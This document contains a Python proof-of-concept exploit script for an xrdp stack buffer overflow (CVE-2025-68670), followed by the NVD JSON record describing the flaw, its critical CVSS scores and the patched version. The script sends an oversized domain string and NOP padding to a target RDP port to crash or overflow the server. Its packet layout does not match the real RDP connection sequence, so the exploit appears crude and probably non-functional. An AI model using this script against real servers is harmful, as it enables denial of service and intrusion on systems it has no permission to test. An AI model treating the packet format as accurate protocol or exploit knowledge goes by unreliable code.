CVE-2025-68670

#!/usr/bin/env python3 # CVE-2025-68670 PoC - xrdp Unauthenticated Stack Buffer Overflow # This PoC demonstrates the vulnerability in xrdp < 0.10.5 # Handle with care - only use on systems you have permission to test import socket import struct import sys def create_malicious_rdp_packet(domain_string): """ Create a malformed RDP connection packet with oversized domain field to trigger the stack buffer overflow in xrdp """ # RDP connection request header packet = bytearray() # RDP Protocol Version packet.extend(b'\x03\x00') # T.123 packet header packet.extend(struct.pack('>H', len(domain_string) + 100)) # Length # Connection parameters packet.extend(b'\x01') # Connection type packet.extend(b'\x00') # Flags # Domain field - trigger overflow with oversized input packet.extend(struct.pack('<I', len(domain_string))) # Domain length packet.extend(domain_string.encode('utf-8')) # Malicious domain string # Fill remaining space with pattern for debugging overflow_data = b'A' * 1024 # Overflow payload packet.extend(overflow_data) return bytes(packet) def exploit_xrdp(target_ip, target_port=3389): """ Send exploit payload to target xrdp server """ print(f'[*] Target: {target_ip}:{target_port}') print(f'[*] Exploiting CVE-2025-68670...') # Create malicious domain string (exceed buffer bounds) # Typical buffer size is 256-512 bytes, we use 2048 to ensure overflow malicious_domain = 'A' * 2048 + '\x90' * 16 payload = create_malicious_rdp_packet(malicious_domain) try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(10) sock.connect((target_ip, target_port)) print(f'[+] Sending malicious packet ({len(payload)} bytes)...') sock.send(payload) # Wait for response try: response = sock.recv(1024) print(f'[+] Received response: {len(response)} bytes') except socket.timeout: print('[!] No response received (possible crash or timeout)') sock.close() print('[+] Exploit sent successfully') except Exception as e: print(f'[-] Error: {e}') return False return True if __name__ == '__main__': if len(sys.argv) < 2: print('Usage: python3 cve-2025-68670-poc.py <target_ip> [port]') sys.exit(1) target = sys.argv[1] port = int(sys.argv[2]) if len(sys.argv) > 2 else 3389 exploit_xrdp(target, port)

{"cve": {"id": "CVE-2025-68670", "sourceIdentifier": "[email protected]", "published": "2026-01-27T16:16:16.037", "lastModified": "2026-02-06T19:59:50.957", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "xrdp is an open source RDP server. xrdp before v0.10.5 contains an unauthenticated stack-based buffer overflow vulnerability. The issue stems from improper bounds checking when processing user domain information during the connection sequence. If exploited, the vulnerability could allow remote attackers to execute arbitrary code on the target system. The vulnerability allows an attacker to overwrite the stack buffer and the return address, which could theoretically be used to redirect the execution flow. The impact of this vulnerability is lessened if a compiler flag has been used to build the xrdp executable with stack canary protection. If this is the case, a second vulnerability would need to be used to leak the stack canary value. Upgrade to version 0.10.5 to receive a patch. Additionally, do not rely on stack canary protection on production systems."}, {"lang": "es", "value": "xrdp es un servidor RDP de código abierto. xrdp antes de la v0.10.5 contiene una vulnerabilidad de desbordamiento de búfer basado en pila no autenticado. El problema se deriva de una comprobación de límites incorrecta al procesar la información de dominio del usuario durante la secuencia de conexión. Si se explota, la vulnerabilidad podría permitir a atacantes remotos ejecutar código arbitrario en el sistema objetivo. La vulnerabilidad permite a un atacante sobrescribir el búfer de pila y la dirección de retorno, lo que teóricamente podría usarse para redirigir el flujo de ejecución. El impacto de esta vulnerabilidad se reduce si se ha utilizado una bandera de compilador para construir el ejecutable de xrdp con protección de stack canary. Si este es el caso, se necesitaría usar una segunda vulnerabilidad para filtrar el valor del stack canary. Actualice a la versión 0.10.5 para recibir un parche. Además, no confíe en la protección de stack canary en sistemas de producción."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H", "baseScore": 9.1, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.2}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "baseScore": 9.8, "baseSeverity": "CRITICAL", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-121"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:neutrinolabs:xrdp:*:*:*:*:*:*:*:*", "versionEndExcluding": "0.10.5", "matchCriteriaId": "EF7BFA59-F9D6-4B4F-8CB7-137054E9C030"}]}]}, {"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:debian:debian_linux:11.0:*:*:*:*:*:*:*", "matchCriteriaId": "FA6FEEC2-9F11-4643-8827-749718254FED"}]}]}], "references": [{"url": "https://github.com/neutrinolabs/xrdp/commit/488c8c7d4d189514a366cd8301b6e816c5218ffa", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/neutrinolabs/xrdp/releases/tag/v0.10.5", "source": "[email protected]", "tags": ["Product", "Release Notes"]}, {"url": "https://github.com/neutrinolabs/xrdp/security/advisories/GHSA-rwvg-gp87-gh6f", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://lists.debian.org/debian-lts-announce/2026/02/msg00003.html", "source": "af854a3a-2127-422b-91ae-364da2661108", "tags": ["Mailing List"]}]}}